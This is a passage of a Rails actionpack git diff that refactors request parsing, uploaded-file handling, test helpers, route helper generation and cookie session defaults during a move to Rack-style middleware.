- boundary_end = $2.dup
- ""
- end
-
- content.rewind
-
- head =~ /Content-Disposition:.* filename=(?:"((?:\\.|[^\"])*)"|([^;]*))/ni
- if filename = $1 || $2
- if /Mac/ni.match(env['HTTP_USER_AGENT']) and
- /Mozilla/ni.match(env['HTTP_USER_AGENT']) and
- (not /MSIE/ni.match(env['HTTP_USER_AGENT']))
- filename = CGI.unescape(filename)
- end
- content.original_path = filename.dup
- end
-
- head =~ /Content-Type: ([^\r]*)/ni
- content.content_type = $1.dup if $1
-
- head =~ /Content-Disposition:.* name="?([^\";]*)"?/ni
- name = $1.dup if $1
-
- if params.has_key?(name)
- params[name].push(content)
- else
- params[name] = [content]
- end
- break if body_size == -1
- end
- raise EOFError, "bad boundary end of body part" unless boundary_end=~/--/
-
- begin
- body.rewind if body.respond_to?(:rewind)
- rescue Errno::ESPIPE
- # Handles exceptions raised by input streams that cannot be rewound
- # such as when using plain CGI under Apache
- end
-
- params
- end
- end
- end
-
- class UrlEncodedPairParser < StringScanner #:nodoc:
- attr_reader :top, :parent, :result
-
- def initialize(pairs = [])
- super('')
- @result = {}
- pairs.each { |key, value| parse(key, value) }
- end
-
- KEY_REGEXP = %r{([^\[\]=&]+)}
- BRACKETED_KEY_REGEXP = %r{\[([^\[\]=&]+)\]}
-
- # Parse the query string
- def parse(key, value)
- self.string = key
- @top, @parent = result, nil
-
- # First scan the bare key
- key = scan(KEY_REGEXP) or return
- key = post_key_check(key)
-
- # Then scan as many nestings as present
- until eos?
- r = scan(BRACKETED_KEY_REGEXP) or return
- key = self[1]
- key = post_key_check(key)
- end
-
- bind(key, value)
- end
-
- private
- # After we see a key, we must look ahead to determine our next action. Cases:
- #
- # [] follows the key. Then the value must be an array.
- # = follows the key. (A value comes next)
- # & or the end of string follows the key. Then the key is a flag.
- # otherwise, a hash follows the key.
- def post_key_check(key)
- if scan(/\[\]/) # a[b][] indicates that b is an array
- container(key, Array)
- nil
- elsif check(/\[[^\]]/) # a[b] indicates that a is a hash
- container(key, Hash)
- nil
- else # End of key? We do nothing.
- key
- end
- end
-
- # Add a container to the stack.
- def container(key, klass)
- type_conflict! klass, top[key] if top.is_a?(Hash) && top.key?(key) && ! top[key].is_a?(klass)
- value = bind(key, klass.new)
- type_conflict! klass, value unless value.is_a?(klass)
- push(value)
- end
-
- # Push a value onto the 'stack', which is actually only the top 2 items.
- def push(value)
- @parent, @top = @top, value
- end
-
- # Bind a key (which may be nil for items in an array) to the provided value.
- def bind(key, value)
- if top.is_a? Array
- if key
- if top[-1].is_a?(Hash) && ! top[-1].key?(key)
- top[-1][key] = value
- else
- top << {key => value}.with_indifferent_access
- push top.last
- value = top[key]
- end
- else
- top << value
- end
- elsif top.is_a? Hash
- key = CGI.unescape(key)
- parent << (@top = {}) if top.key?(key) && parent.is_a?(Array)
- top[key] ||= value
- return top[key]
- else
- raise ArgumentError, "Don't know what to do: top is #{top.inspect}"
- end
-
- return value
- end
-
- def type_conflict!(klass, value)
- raise TypeError, "Conflicting types for parameter containers. Expected an instance of #{klass} but found an instance of #{value.class}. This can be caused by colliding Array and Hash parameters like qs[]=value&qs[key]=value. (The parameters received were #{value.inspect}.)"
- end
- end
-
- module UploadedFile
- def self.included(base)
- base.class_eval do
- attr_accessor :original_path, :content_type
- alias_method :local_path, :path
- end
- end
-
- # Take the basename of the upload's original filename.
- # This handles the full Windows paths given by Internet Explorer
- # (and perhaps other broken user agents) without affecting
- # those which give the lone filename.
- # The Windows regexp is adapted from Perl's File::Basename.
- def original_filename
- unless defined? @original_filename
- @original_filename =
- unless original_path.blank?
- if original_path =~ /^(?:.*[:\\\/])?(.*)/m
- $1
- else
- File.basename original_path
- end
- end
- end
- @original_filename
- end
- end
-
- class UploadedStringIO < StringIO
- include UploadedFile
- end
-
- class UploadedTempfile < Tempfile
- include UploadedFile
end
end
diff --git a/actionpack/lib/action_controller/request_profiler.rb b/actionpack/lib/action_controller/request_profiler.rb
deleted file mode 100644
index 80cd55334f..0000000000
--- a/actionpack/lib/action_controller/request_profiler.rb
+++ /dev/null
@@ -1,168 +0,0 @@
-require 'optparse'
-
-module ActionController
- class RequestProfiler
- # Wrap up the integration session runner.
- class Sandbox
- include Integration::Runner
-
- def self.benchmark(n, script)
- new(script).benchmark(n)
- end
-
- def initialize(script_path)
- @quiet = false
- define_run_method(script_path)
- reset!
- end
-
- def benchmark(n, profiling = false)
- @quiet = true
- print ' '
-
- ms = Benchmark.ms do
- n.times do |i|
- run(profiling)
- print_progress(i)
- end
- end
-
- puts
- ms
- ensure
- @quiet = false
- end
-
- def say(message)
- puts " #{message}" unless @quiet
- end
-
- private
- def define_run_method(script_path)
- script = File.read(script_path)
-
- source = <<-end_source
- def run(profiling = false)
- if profiling
- RubyProf.resume do
- #{script}
- end
- else
- #{script}
- end
-
- old_request_count = request_count
- reset!
- self.request_count = old_request_count
- end
- end_source
-
- instance_eval source, script_path, 1
- end
-
- def print_progress(i)
- print "\n " if i % 60 == 0
- print ' ' if i % 10 == 0
- print '.'
- $stdout.flush
- end
- end
-
-
- attr_reader :options
-
- def initialize(options = {})
- @options = default_options.merge(options)
- end
-
-
- def self.run(args = nil, options = {})
- profiler = new(options)
- profiler.parse_options(args) if args
- profiler.run
- end
-
- def run
- sandbox = Sandbox.new(options[:script])
-
- puts 'Warming up once'
-
- elapsed = warmup(sandbox)
- puts '%.0f ms, %d requests, %d req/sec' % [elapsed, sandbox.request_count, 1000 * sandbox.request_count / elapsed]
- puts "\n#{options[:benchmark] ? 'Benchmarking' : 'Profiling'} #{options[:n]}x"
-
- options[:benchmark] ? benchmark(sandbox) : profile(sandbox)
- end
-
- def profile(sandbox)
- load_ruby_prof
-
- benchmark(sandbox, true)
- results = RubyProf.stop
-
- show_profile_results results
- results
- end
-
- def benchmark(sandbox, profiling = false)
- sandbox.request_count = 0
- elapsed = sandbox.benchmark(options[:n], profiling)
- count = sandbox.request_count.to_i
- puts '%.0f ms, %d requests, %d req/sec' % [elapsed, count, 1000 * count / elapsed]
- end
-
- def warmup(sandbox)
- Benchmark.ms { sandbox.run(false) }
- end
-
- def default_options
- { :n => 100, :open => 'open %s &' }
- end
-
- # Parse command-line options
- def parse_options(args)
- OptionParser.new do |opt|
- opt.banner = "USAGE: #{$0} [options] [session script path]"
-
- opt.on('-n', '--times [100]', 'How many requests to process. Defaults to 100.') { |v| options[:n] = v.to_i if v }
- opt.on('-b', '--benchmark', 'Benchmark instead of profiling') { |v| options[:benchmark] = v }
- opt.on('-m', '--measure [mode]', 'Which ruby-prof measure mode to use: process_time, wall_time, cpu_time, allocations, or memory. Defaults to process_time.') { |v| options[:measure] = v }
- opt.on('--open [CMD]', 'Command to open profile results. Defaults to "open %s &"') { |v| options[:open] = v }
- opt.on('-h', '--help', 'Show this help') { puts opt; exit }
-
- opt.parse args
-
- if args.empty?
- puts opt
- exit
- end
- options[:script] = args.pop
- end
- end
-
- protected
- def load_ruby_prof
- begin
- gem 'ruby-prof', '>= 0.6.1'
- require 'ruby-prof'
- if mode = options[:measure]
- RubyProf.measure_mode = RubyProf.const_get(mode.upcase)
- end
- rescue LoadError
- abort '`gem install ruby-prof` to use the profiler'
- end
- end
-
- def show_profile_results(results)
- File.open "#{RAILS_ROOT}/tmp/profile-graph.html", 'w' do |file|
- RubyProf::GraphHtmlPrinter.new(results).print(file)
- `#{options[:open] % file.path}` if options[:open]
- end
-
- File.open "#{RAILS_ROOT}/tmp/profile-flat.txt", 'w' do |file|
- RubyProf::FlatPrinter.new(results).print(file)
- `#{options[:open] % file.path}` if options[:open]
- end
- end
- end
-end
diff --git a/actionpack/lib/action_controller/rescue.rb b/actionpack/lib/action_controller/rescue.rb
index 5ef79a36ce..4b7d1e32fd 100644
--- a/actionpack/lib/action_controller/rescue.rb
+++ b/actionpack/lib/action_controller/rescue.rb
@@ -38,8 +38,8 @@ module ActionController #:nodoc:
'ActionView::TemplateError' => 'template_error'
}
- RESCUES_TEMPLATE_PATH = ActionView::PathSet::Path.new(
- File.join(File.dirname(__FILE__), "templates"), true)
+ RESCUES_TEMPLATE_PATH = ActionView::Template::EagerPath.new(
+ File.join(File.dirname(__FILE__), "templates"))
def self.included(base) #:nodoc:
base.cattr_accessor :rescue_responses
@@ -59,7 +59,9 @@ module ActionController #:nodoc:
end
module ClassMethods
- def process_with_exception(request, response, exception) #:nodoc:
+ def call_with_exception(env, exception) #:nodoc:
+ request = env["action_controller.rescue.request"] ||= Request.new(env)
+ response = env["action_controller.rescue.response"] ||= Response.new
new.process(request, response, :rescue_action, exception)
end
end
diff --git a/actionpack/lib/action_controller/response.rb b/actionpack/lib/action_controller/response.rb
index 64319fe102..27860a6207 100644
--- a/actionpack/lib/action_controller/response.rb
+++ b/actionpack/lib/action_controller/response.rb
@@ -231,10 +231,13 @@ module ActionController # :nodoc:
# Don't set the Content-Length for block-based bodies as that would mean
# reading it all into memory. Not nice for, say, a 2GB streaming file.
def set_content_length!
- unless body.respond_to?(:call) || (status && status.to_s[0..2] == '304')
- self.headers["Content-Length"] ||= body.size
+ if status && status.to_s[0..2] == '204'
+ headers.delete('Content-Length')
+ elsif length = headers['Content-Length']
+ headers['Content-Length'] = length.to_s
+ elsif !body.respond_to?(:call) && (!status || status.to_s[0..2] != '304')
+ headers["Content-Length"] = body.size.to_s
end
- headers["Content-Length"] = headers["Content-Length"].to_s if headers["Content-Length"]
end
def convert_language!
diff --git a/actionpack/lib/action_controller/rewindable_input.rb b/actionpack/lib/action_controller/rewindable_input.rb
new file mode 100644
index 0000000000..36f655c51e
--- /dev/null
+++ b/actionpack/lib/action_controller/rewindable_input.rb
@@ -0,0 +1,28 @@
+module ActionController
+ class RewindableInput
+ class RewindableIO < ActiveSupport::BasicObject
+ def initialize(io)
+ @io = io
+ @rewindable = io.is_a?(StringIO)
+ end
+
+ def method_missing(method, *args, &block)
+ unless @rewindable
+ @io = StringIO.new(@io.read)
+ @rewindable = true
+ end
+
+ @io.__send__(method, *args, &block)
+ end
+ end
+
+ def initialize(app)
+ @app = app
+ end
+
+ def call(env)
+ env['rack.input'] = RewindableIO.new(env['rack.input'])
+ @app.call(env)
+ end
+ end
+end
diff --git a/actionpack/lib/action_controller/routing.rb b/actionpack/lib/action_controller/routing.rb
index da9b56fdf9..a2141a77dc 100644
--- a/actionpack/lib/action_controller/routing.rb
+++ b/actionpack/lib/action_controller/routing.rb
@@ -193,9 +193,8 @@ module ActionController
#
# map.connect '*path' , :controller => 'blog' , :action => 'unrecognized?'
#
- # will glob all remaining parts of the route that were not recognized earlier. This idiom
- # must appear at the end of the path. The globbed values are in <tt>params[:path]</tt> in
- # this case.
+ # will glob all remaining parts of the route that were not recognized earlier.
+ # The globbed values are in <tt>params[:path]</tt> as an array of path segments.
#
# == Route conditions
#
diff --git a/actionpack/lib/action_controller/routing/route_set.rb b/actionpack/lib/action_controller/routing/route_set.rb
index 13646aef61..044ace7de1 100644
--- a/actionpack/lib/action_controller/routing/route_set.rb
+++ b/actionpack/lib/action_controller/routing/route_set.rb
@@ -145,10 +145,10 @@ module ActionController
def define_hash_access(route, name, kind, options)
selector = hash_access_name(name, kind)
named_helper_module_eval <<-end_eval # We use module_eval to avoid leaks
- def #{selector}(options = nil)
- options ? #{options.inspect}.merge(options) : #{options.inspect}
- end
- protected :#{selector}
+ def #{selector}(options = nil) # def hash_for_users_url(options = nil)
+ options ? #{options.inspect}.merge(options) : #{options.inspect} # options ? {:only_path=>false}.merge(options) : {:only_path=>false}
+ end # end
+ protected :#{selector} # protected :hash_for_users_url
end_eval
helpers << selector
end
@@ -173,32 +173,33 @@ module ActionController
# foo_url(bar, baz, bang, :sort_by => 'baz')
#
named_helper_module_eval <<-end_eval # We use module_eval to avoid leaks
- def #{selector}(*args)
-
- #{generate_optimisation_block(route, kind)}
-
- opts = if args.empty? || Hash === args.first
- args.first || {}
- else
- options = args.extract_options!
- args = args.zip(#{route.segment_keys.inspect}).inject({}) do |h, (v, k)|
- h[k] = v
- h
- end
- options.merge(args)
- end
-
- url_for(#{hash_access_method}(opts))
-
- end
- #Add an alias to support the now deprecated formatted_* URL.
- def formatted_#{selector}(*args)
- ActiveSupport::Deprecation.warn(
- "formatted_#{selector}() has been deprecated. please pass format to the standard" +
- "#{selector}() method instead.", caller)
- #{selector}(*args)
- end
- protected :#{selector}
+ def #{selector}(*args) # def users_url(*args)
+ #
+ #{generate_optimisation_block(route, kind)} # #{generate_optimisation_block(route, kind)}
+ #
+ opts = if args.empty? || Hash === args.first # opts = if args.empty? || Hash === args.first
+ args.first || {} # args.first || {}
+ else # else
+ options = args.extract_options! # options = args.extract_options!
+ args = args.zip(#{route.segment_keys.inspect}).inject({}) do |h, (v, k)| # args = args.zip([]).inject({}) do |h, (v, k)|
+ h[k] = v # h[k] = v
+ h # h
+ end # end
+ options.merge(args) # options.merge(args)
+ end # end
+ #
+ url_for(#{hash_access_method}(opts)) # url_for(hash_for_users_url(opts))
+ #
+ end # end
+ #Add an alias to support the now deprecated formatted_* URL. # #Add an alias to support the now deprecated formatted_* URL.
+ def formatted_#{selector}(*args) # def formatted_users_url(*args)
+ ActiveSupport::Deprecation.warn( # ActiveSupport::Deprecation.warn(
+ "formatted_#{selector}() has been deprecated. " + # "formatted_users_url() has been deprecated. " +
+ "Please pass format to the standard " + # "Please pass format to the standard " +
+ "#{selector} method instead.", caller) # "users_url method instead.", caller)
+ #{selector}(*args) # users_url(*args)
+ end # end
+ protected :#{selector} # protected :users_url
end_eval
helpers << selector
end
@@ -426,6 +427,12 @@ module ActionController
end
end
+ def call(env)
+ request = Request.new(env)
+ app = Routing::Routes.recognize(request)
+ app.call(env).to_a
+ end
+
def recognize(request)
params = recognize_path(request.path, extract_request_environment(request))
request.path_parameters = params.with_indifferent_access
diff --git a/actionpack/lib/action_controller/session/cookie_store.rb b/actionpack/lib/action_controller/session/cookie_store.rb
index 135bedaf50..6ad6369950 100644
--- a/actionpack/lib/action_controller/session/cookie_store.rb
+++ b/actionpack/lib/action_controller/session/cookie_store.rb
@@ -45,7 +45,7 @@ module ActionController
:domain => nil,
:path => "/",
:expire_after => nil,
- :httponly => false
+ :httponly => true
}.freeze
ENV_SESSION_KEY = "rack.session".freeze
@@ -56,8 +56,6 @@ module ActionController
class CookieOverflow < StandardError; end
def initialize(app, options = {})
- options = options.dup
-
# Process legacy CGI options
options = options.symbolize_keys
if options.has_key?(:session_path)
@@ -163,9 +161,9 @@ module ActionController
def ensure_session_key(key)
if key.blank?
- raise ArgumentError, 'A session_key is required to write a ' +
+ raise ArgumentError, 'A key is required to write a ' +
'cookie containing the session data. Use ' +
- 'config.action_controller.session = { :session_key => ' +
+ 'config.action_controller.session = { :key => ' +
'"_myapp_session", :secret => "some secret phrase" } in ' +
'config/environment.rb'
end
@@ -181,7 +179,7 @@ module ActionController
if secret.blank?
raise ArgumentError, "A secret is required to generate an " +
"integrity hash for cookie session data. Use " +
- "config.action_controller.session = { :session_key => " +
+ "config.action_controller.session = { :key => " +
"\"_myapp_session\", :secret => \"some secret phrase of at " +
"least #{SECRET_MIN_LENGTH} characters\" } " +
"in config/environment.rb"
diff --git a/actionpack/lib/action_controller/session_management.rb b/actionpack/lib/action_controller/session_management.rb
index f06a0da75c..b556f04649 100644
--- a/actionpack/lib/action_controller/session_management.rb
+++ b/actionpack/lib/action_controller/session_management.rb
@@ -37,7 +37,7 @@ module ActionController #:nodoc:
# Returns the hash used to configure the session. Example use:
#
- # ActionController::Base.session_options[:session_secure] = true # session only available over HTTPS
+ # ActionController::Base.session_options[:secure] = true # session only available over HTTPS
def session_options
@session_options ||= {}
end
diff --git a/actionpack/lib/action_controller/test_case.rb b/actionpack/lib/action_controller/test_case.rb
index 7ed1a3e160..0b0d0c799b 100644
--- a/actionpack/lib/action_controller/test_case.rb
+++ b/actionpack/lib/action_controller/test_case.rb
@@ -1,4 +1,5 @@
require 'active_support/test_case'
+require 'action_controller/test_process'
module ActionController
# Superclass for ActionController functional tests. Functional tests allow you to
@@ -102,6 +103,8 @@ module ActionController
#
# assert_redirected_to page_url(:title => 'foo')
class TestCase < ActiveSupport::TestCase
+ include TestProcess
+
module Assertions
%w(response selector tag dom routing model).each do |kind|
include ActionController::Assertions.const_get("#{kind.camelize}Assertions")
@@ -124,17 +127,18 @@ module ActionController
#
# The exception is stored in the exception accessor for further inspection.
module RaiseActionExceptions
- attr_accessor :exception
+ protected
+ attr_accessor :exception
- def rescue_action_without_handler(e)
- self.exception = e
-
- if request.remote_addr == "0.0.0.0"
- raise(e)
- else
- super(e)
+ def rescue_action_without_handler(e)
+ self.exception = e
+
+ if request.remote_addr == "0.0.0.0"
+ raise(e)
+ else
+ super(e)
+ end
end
- end
end
setup :setup_controller_request_and_response
diff --git a/actionpack/lib/action_controller/test_process.rb b/actionpack/lib/action_controller/test_process.rb
index 211e22ff58..22b97fc157 100644
--- a/actionpack/lib/action_controller/test_process.rb
+++ b/actionpack/lib/action_controller/test_process.rb
@@ -1,46 +1,17 @@
-require 'action_controller/test_case'
-
module ActionController #:nodoc:
- class Base
- attr_reader :assigns
-
- # Process a test request called with a TestRequest object.
- def self.process_test(request)
- new.process_test(request)
- end
-
- def process_test(request) #:nodoc:
- process(request, TestResponse.new)
- end
-
- def process_with_test(*args)
- returning process_without_test(*args) do
- @assigns = {}
- (instance_variable_names - @@protected_instance_variables).each do |var|
- value = instance_variable_get(var)
- @assigns[var[1..-1]] = value
- response.template.assigns[var[1..-1]] = value if response
- end
- end
- end
-
- alias_method_chain :process, :test
- end
-
class TestRequest < Request #:nodoc:
attr_accessor :cookies, :session_options
- attr_accessor :query_parameters, :request_parameters, :path, :session
- attr_accessor :host, :user_agent
+ attr_accessor :query_parameters, :path, :session
+ attr_accessor :host
def initialize
- super(Rack::MockRequest.env_for('/'))
+ super(Rack::MockRequest.env_for("/"))
@query_parameters = {}
- @request_parameters = {}
@session = TestSession.new
- initialize_containers
initialize_default_values
+ initialize_containers
end
def reset_session
@@ -55,7 +26,11 @@ module ActionController #:nodoc:
# Either the RAW_POST_DATA environment variable or the URL-encoded request
# parameters.
def raw_post
- env['RAW_POST_DATA'] ||= returning(url_encoded_request_parameters) { |b| b.force_encoding(Encoding::BINARY) if b.respond_to?(:force_encoding) }
+ @env['RAW_POST_DATA'] ||= begin
+ data = url_encoded_request_parameters
+ data.force_encoding(Encoding::BINARY) if data.respond_to?(:force_encoding)
+ data
+ end
end
def port=(number)
@@ -125,26 +100,30 @@ module ActionController #:nodoc:
path_parameters[key.to_s] = value
end
end
+ raw_post # populate env['RAW_POST_DATA']
@parameters = nil # reset TestRequest#parameters to use the new path_parameters
end
def recycle!
- self.request_parameters = {}
self.query_parameters = {}
self.path_parameters = {}
unmemoize_all
end
+ def user_agent=(user_agent)
+ @env['HTTP_USER_AGENT'] = user_agent
+ end
+
private
def initialize_containers
- @env, @cookies = {}, {}
+ @cookies = {}
end
def initialize_default_values
@host = "test.host"
@request_uri = "/"
- @user_agent = "Rails Testing"
- self.remote_addr = "0.0.0.0"
+ @env['HTTP_USER_AGENT'] = "Rails Testing"
+ @env['REMOTE_ADDR'] = "0.0.0.0"
@env["SERVER_PORT"] = 80
@env['REQUEST_METHOD'] = "GET"
end
@@ -377,20 +356,33 @@ module ActionController #:nodoc:
module TestProcess
def self.included(base)
- # execute the request simulating a specific HTTP method and set/volley the response
- # TODO: this should be un-DRY'ed for the sake of API documentation.
- %w( get post put delete head ).each do |method|
- base.class_eval <<-EOV, __FILE__, __LINE__
- def #{method}(action, parameters = nil, session = nil, flash = nil)
- @request.env['REQUEST_METHOD'] = "#{method.upcase}" if defined?(@request)
- process(action, parameters, session, flash)
- end
- EOV
+ # Executes a request simulating GET HTTP method and set/volley the response
+ def get(action, parameters = nil, session = nil, flash = nil)
+ process(action, parameters, session, flash, "GET")
+ end
+
+ # Executes a request simulating POST HTTP method and set/volley the response
+ def post(action, parameters = nil, session = nil, flash = nil)
+ process(action, parameters, session, flash, "POST")
+ end
+
+ # Executes a request simulating PUT HTTP method and set/volley the response
+ def put(action, parameters = nil, session = nil, flash = nil)
+ process(action, parameters, session, flash, "PUT")
+ end
+
+ # Executes a request simulating DELETE HTTP method and set/volley the response
+ def delete(action, parameters = nil, session = nil, flash = nil)
+ process(action, parameters, session, flash, "DELETE")
+ end
+
+ # Executes a request simulating HEAD HTTP method and set/volley the response
+ def head(action, parameters = nil, session = nil, flash = nil)
+ process(action, parameters, session, flash, "HEAD")
end
end
- # execute the request and set/volley the response
- def process(action, parameters = nil, session = nil, flash = nil)
+ def process(action, parameters = nil, session = nil, flash = nil, http_method = 'GET')
# Sanity check for required instance variables so we can give an
# understandable error message.
%w(@controller @request @response).each do |iv_name|
@@ -403,7 +395,7 @@ module ActionController #:nodoc:
@response.recycle!
@html_document = nil
- @request.env['REQUEST_METHOD'] ||= "GET"
+ @request.env['REQUEST_METHOD'] = http_method
@request.action = action.to_s
@@ -413,7 +405,9 @@ module ActionController #:nodoc:
@request.session = ActionController::TestSession.new(session) unless session.nil?
@request.session["flash"] = ActionController::Flash::FlashHash.new.update(flash) if flash
build_request_uri(action, parameters)
- @controller.process(@request, @response)
+
+ Base.class_eval { include ProcessWithTest } unless Base < ProcessWithTest
+ @controller.process_with_test(@request, @response)
end
def xml_http_request(request_method, action, parameters = nil, session = nil, flash = nil)
@@ -490,7 +484,8 @@ module ActionController #:nodoc:
#
# post :change_avatar, :avatar => fixture_file_upload('/files/spongebob.png', 'image/png', :binary)
def fixture_file_upload(path, mime_type = nil, binary = false)
- ActionController::TestUploadedFile.new("#{ActionController::TestCase.try(:fixture_path)}#{path}", mime_type, binary)
+ fixture_path = ActionController::TestCase.send(:fixture_path) if ActionController::TestCase.respond_to?(:fixture_path)
+ ActionController::TestUploadedFile.new("#{fixture_path}#{path}", mime_type, binary)
end
# A helper to make it easier to test different route configurations.
@@ -525,12 +520,24 @@ module ActionController #:nodoc:
ActionController::Routing.const_set(:Routes, real_routes) if real_routes
end
end
-end
-module Test
- module Unit
- class TestCase #:nodoc:
- include ActionController::TestProcess
+ module ProcessWithTest #:nodoc:
+ def self.included(base)
+ base.class_eval { attr_reader :assigns }
end
+
+ def process_with_test(*args)
+ process(*args).tap { set_test_assigns }
+ end
+
+ private
+ def set_test_assigns
+ @assigns = {}
+ (instance_variable_names - self.class.protected_instance_variables).each do |var|
+ name, value = var[1..-1], instance_variable_get(var)
+ @assigns[name] = value
+ response.template.assigns[name] = value if response
+ end
+ end
end
end
diff --git a/actionpack/lib/action_controller/uploaded_file.rb b/actionpack/lib/action_controller/uploaded_file.rb
new file mode 100644
index 0000000000..376ba3621a
--- /dev/null
+++ b/actionpack/lib/action_controller/uploaded_file.rb
@@ -0,0 +1,44 @@
+module ActionController
+ module UploadedFile
+ def self.included(base)
+ base.class_eval do
+ attr_accessor :original_path, :content_type
+ alias_method :local_path, :path
+ end
+ end
+
+ def self.extended(object)
+ object.class_eval do
+ attr_accessor :original_path, :content_type
+ alias_method :local_path, :path
+ end
+ end
+
+ # Take the basename of the upload's original filename.
+ # This handles the full Windows paths given by Internet Explorer
+ # (and perhaps other broken user agents) without affecting
+ # those which give the lone filename.
+ # The Windows regexp is adapted from Perl's File::Basename.
+ def original_filename
+ unless defined? @original_filename
+ @original_filename =
+ unless original_path.blank?
+ if original_path =~ /^(?:.*[:\\\/])?(.*)/m
+ $1
+ else
+ File.basename original_path
+ end
+ end
+ end
+ @original_filename
+ end
+ end
+
+ class UploadedStringIO < StringIO
+ include UploadedFile
+ end
+
+ class UploadedTempfile < Tempfile
+ include UploadedFile
+ end
+end
diff --git a/actionpack/lib/action_controller/url_encoded_pair_parser.rb b/actionpack/lib/action_controller/url_encoded_pair_parser.rb
new file mode 100644
index 0000000000..57594c4259
--- /dev/null
+++ b/actionpack/lib/action_controller/url_encoded_pair_parser.rb
@@ -0,0 +1,155 @@
+module ActionController
+ class UrlEncodedPairParser < StringScanner #:nodoc:
+ class << self
+ def parse_query_parameters(query_string)
+ return {} if query_string.blank?
+
+ pairs = query_string.split('&').collect do |chunk|
+ next if chunk.empty?
+ key, value = chunk.split('=', 2)
+ next if key.empty?
+ value = value.nil? ? nil : CGI.unescape(value)
+ [ CGI.unescape(key), value ]
+ end.compact
+
+ new(pairs).result
+ end
+
+ def parse_hash_parameters(params)
+ parser = new
+
+ params = params.dup
+ until params.empty?
+ for key, value in params
+ if key.blank?
+ params.delete(key)
+ elsif value.is_a?(Array)
+ parser.parse(key, get_typed_value(value.shift))
+ params.delete(key) if value.empty?
+ else
+ parser.parse(key, get_typed_value(value))
+ params.delete(key)
+ end
+ end
+ end
+
+ parser.result
+ end
+
+ private
+ def get_typed_value(value)
+ case value
+ when String
+ value
+ when NilClass
+ ''
+ when Array
+ value.map { |v| get_typed_value(v) }
+ when Hash
+ if value.has_key?(:tempfile) && value[:filename].any?
+ upload = value[:tempfile]
+ upload.extend(UploadedFile)
+ upload.original_path = value[:filename]
+ upload.content_type = value[:type]
+ upload
+ else
+ nil
+ end
+ else
+ raise "Unknown form value: #{value.inspect}"
+ end
+ end
+ end
+
+ attr_reader :top, :parent, :result
+
+ def initialize(pairs = [])
+ super('')
+ @result = {}
+ pairs.each { |key, value| parse(key, value) }
+ end
+
+ KEY_REGEXP = %r{([^\[\]=&]+)}
+ BRACKETED_KEY_REGEXP = %r{\[([^\[\]=&]+)\]}
+
+ # Parse the query string
+ def parse(key, value)
+ self.string = key
+ @top, @parent = result, nil
+
+ # First scan the bare key
+ key = scan(KEY_REGEXP) or return
+ key = post_key_check(key)
+
+ # Then scan as many nestings as present
+ until eos?
+ r = scan(BRACKETED_KEY_REGEXP) or return
+ key = self[1]
+ key = post_key_check(key)
+ end
+
+ bind(key, value)
+ end
+
+ private
+ # After we see a key, we must look ahead to determine our next action. Cases:
+ #
+ # [] follows the key. Then the value must be an array.
+ # = follows the key. (A value comes next)
+ # & or the end of string follows the key. Then the key is a flag.
+ # otherwise, a hash follows the key.
+ def post_key_check(key)
+ if scan(/\[\]/) # a[b][] indicates that b is an array
+ container(key, Array)
+ nil
+ elsif check(/\[[^\]]/) # a[b] indicates that a is a hash
+ container(key, Hash)
+ nil
+ else # End of key? We do nothing.
+ key
+ end
+ end
+
+ # Add a container to the stack.
+ def container(key, klass)
+ type_conflict! klass, top[key] if top.is_a?(Hash) && top.key?(key) && ! top[key].is_a?(klass)
+ value = bind(key, klass.new)
+ type_conflict! klass, value unless value.is_a?(klass)
+ push(value)
+ end
+
+ # Push a value onto the 'stack', which is actually only the top 2 items.
+ def push(value)
+ @parent, @top = @top, value
+ end
+
+ # Bind a key (which may be nil for items in an array) to the provided value.
+ def bind(key, value)
+ if top.is_a? Array
+ if key
+ if top[-1].is_a?(Hash) && ! top[-1].key?(key)
+ top[-1][key] = value
+ else
+ top << {key => value}.with_indifferent_access
+ end
+ push top.last
+ return top[key]
+ else
+ top << value
+ return value
+ end
+ elsif top.is_a? Hash
+ key = CGI.unescape(key)
+ parent << (@top = {}) if top.key?(key) && parent.is_a?(Array)
+ top[key] ||= value
+ return top[key]
+ else
+ raise ArgumentError, "Don't know what to do: top is #{top.inspect}"
+ end
+ end
+
+ def type_conflict!(klass, value)
+ raise TypeError, "Conflicting types for parameter containers. Expected an instance of #{klass} but found an instance of #{value.class}. This can be caused by colliding Array and Hash parameters like qs[]=value&qs[key]=value. (The parameters received were #{value.inspect}.)"
+ end
+ end
+end
diff --git a/actionpack/lib/action_controller/verb_piggybacking.rb b/actionpack/lib/action_controller/verb_piggybacking.rb
deleted file mode 100644
index 86cde304a0..0000000000
--- a/actionpack/lib/action_controller/verb_piggybacking.rb
+++ /dev/null
@@ -1,24 +0,0 @@
-module ActionController
- # TODO: Use Rack::MethodOverride when it is released
- class VerbPiggybacking
- HTTP_METHODS = %w(GET HEAD PUT POST DELETE OPTIONS)
-
- def initialize(app)
- @app = app
- end
-
- def call(env)
- if env["REQUEST_METHOD"] == "POST"
- req = Request.new(env)
- if method = (req.parameters[:_method] || env["HTTP_X_HTTP_METHOD_OVERRIDE"])
- method = method.to_s.upcase
- if HTTP_METHODS.include?(method)
- env["REQUEST_METHOD"] = method
- end
- end
- end
-
- @app.call(env)
- end
- end
-end
diff --git a/actionpack/lib/action_pack.rb b/actionpack/lib/action_pack.rb
index c7fd3092e7..b90f89be39 100644
--- a/actionpack/lib/action_pack.rb
+++ b/actionpack/lib/action_pack.rb
@@ -1,5 +1,5 @@
#--
-# Copyright (c) 2004-2008 David Heinemeier Hansson
+# Copyright (c) 2004-2009 David Heinemeier Hansson
#
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and associated documentation files (the
diff --git a/actionpack/lib/action_view.rb b/actionpack/lib/action_view.rb
index 210a5f1a93..0b710bd8d9 100644
--- a/actionpack/lib/action_view.rb
+++ b/actionpack/lib/action_view.rb
@@ -1,5 +1,5 @@
#--
-# Copyright (c) 2004-2008 David Heinemeier Hansson
+# Copyright (c) 2004-2009 David Heinemeier Hansson
#
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and associated documentation files (the
diff --git a/actionpack/lib/action_view/base.rb b/actionpack/lib/action_view/base.rb
index 8958e61e9d..70a0ba91a7 100644
--- a/actionpack/lib/action_view/base.rb
+++ b/actionpack/lib/action_view/base.rb
@@ -225,7 +225,7 @@ module ActionView #:nodoc:
end
# Returns the result of a render that's dictated by the options hash. The primary options are:
- #
+ #
# * <tt>:partial</tt> - See ActionView::Partials.
# * <tt>:update</tt> - Calls update_page with the block given.
# * <tt>:file</tt> - Renders an explicit template file (this used to be the old default), add :locals to pass in those.
diff --git a/actionpack/lib/action_view/helpers/asset_tag_helper.rb b/actionpack/lib/action_view/helpers/asset_tag_helper.rb
